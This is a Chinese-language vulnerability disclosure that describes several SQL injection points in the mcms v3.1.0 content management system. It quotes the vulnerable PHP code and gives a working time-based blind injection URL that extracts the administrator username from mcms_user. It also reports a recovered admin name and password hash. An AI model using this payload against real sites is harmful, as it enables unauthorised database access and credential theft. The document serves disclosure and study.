### 简要描述:
mcms最新版SQL注入4枚
### 详细说明:
在wooyun上看到掌易科技终于不再忽略漏洞了,我也来凑凑热闹吧。去下了mcms的最新版(v_3.1.0.enterprise),来研究研究。
注入一枚:POST /app/public/model.php?tpl=data&model_name=adv&stype=1&skey=title&sval=test&p=1(注意public文件夹是安装系统时取的名字)post中有多个参数,都存在过滤不严的问题。
当tpl为attr时,model_name存在注入,当 tpl为data时,skey、sval、p都存在注入,此时,model_name可以是网站里的所有表,这里最少存在4个注入点。我们看看是如何注入的。
这里以表mcms_adv的sval为例进行说明。
```
function m__list(){
global $dbm,$result,$C,$tpl,$model_name,$p;
$model_name=isset($_GET['model_name'])?trim($_GET['model_name']):'';
if($tpl=='attr') {
$sql = "select * from " . TB_PRE . "model where model_name='$model_name'";
$rs = $dbm->query($sql);
if (count($rs['list']) == 0) H::error_show('{"code":1,"msg":"模型不存在"}');
$sql = "select * from " . TB_PRE . "model_fields where model_name='$model_name' order by forder asc";
$rs = $dbm->query($sql);
$result['list'] = $rs['list'];
}elseif($tpl=='data') {
if(!$C->model_table_exists($model_name)) H::error_show('{"code":1,"msg":"模型表不存在"}');
$_GET['stype']=isset($_GET['stype'])?intval($_GET['stype']):1;//精确OR模糊,0=模糊,1=精确
$_GET['skey']=isset($_GET['skey'])?trim($_GET['skey']):'';
$_GET['sval']=isset($_GET['sval'])?trim($_GET['sval']):'';
if($_GET['skey']!='') {
if ($_GET['stype'] == 0) {
$params['where']=$_GET['skey']." like '%".$_GET['sval']."%'";
} else {
$params['where']=$_GET['skey']."='".$_GET['sval']."'";
}
}
$params['table_name'] = TB_PRE . "$model_name";
$params['count'] = 1;
$params['suffix'] = " order by " . $model_name . "_id desc ";
$params['pagesize'] = get_pagesize(PAGESIZE_ADMIN);
$params['suffix'] .= $dbm->get_limit_sql($params['pagesize'], $p);
$result = $dbm->single_query($params);
foreach($result['list'] as $k=>$v){//print_r($v);
//日期特殊处理
foreach($v as $k1=>$v1){
$tmp_fields=$C->model[$model_name]['fields'];
if(isset($tmp_fields[$k1]) && $tmp_fields[$k1]['form_type']=='date'){ //print_r($v1);
$result['list'][$k][$k1]=date('Y-m-d',$v[$k1]);
}
}
}
//print_r($result);die();
}elseif($tpl=='data.edit'){
if(!$C->model_table_exists($model_name)) H::error_show('{"code":1,"msg":"模型表不存在"}');
$id=isset($_GET['id'])?intval($_GET['id']):0;
if($id>0){
$rs=$dbm->query("select * from ".TB_PRE.$model_name." where ".$model_name."_id='$id' limit 1");//print_r($rs);
$result=array($model_name.'_id'=>0);
if(count($rs['list'])==1) $result=$rs['list'][0];
}else{
$result=array($model_name.'_id'=>0);
}
}else{
$sql="select * from ".TB_PRE."model order by model_type asc";
$rs=$dbm->query($sql);
$result['list']=$rs['list'];
foreach($result['list'] as $k=>$v){
$result['list'][$k]['total']='<font color=red>未建表</font>';
$has=$C->model_table_exists($v['model_name']);//var_dump($has);
if($has){//表存在,查询数据总数
$sql="select count(*) as t from ".TB_PRE.$v['model_name'];//echo($sql);
$rs=$dbm->scalar($sql);
$result['list'][$k]['total']=$rs['t'];
}
}
}
}
```
由于该cms没有使用自定义的sqlxss()过滤,存在注入。
Payload:GET提交
```
/app/public/model.php?tpl=data&model_name=adv&stype=1&skey=title&sval='/**/or(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))%23&p=1
```
因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图
[<img src="https://images.seebug.org/upload/201504/102358229feb0cc2e3a02c65e58d8f416c59db7a.jpg" alt="错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/102358229feb0cc2e3a02c65e58d8f416c59db7a.jpg)
若正确,延迟,如下图
[<img src="https://images.seebug.org/upload/201504/10235831358d5134fb9ecbaacde525c1b7b9c638.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/10235831358d5134fb9ecbaacde525c1b7b9c638.jpg)
按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72
### 漏洞证明:
见 详细说明
暂无评论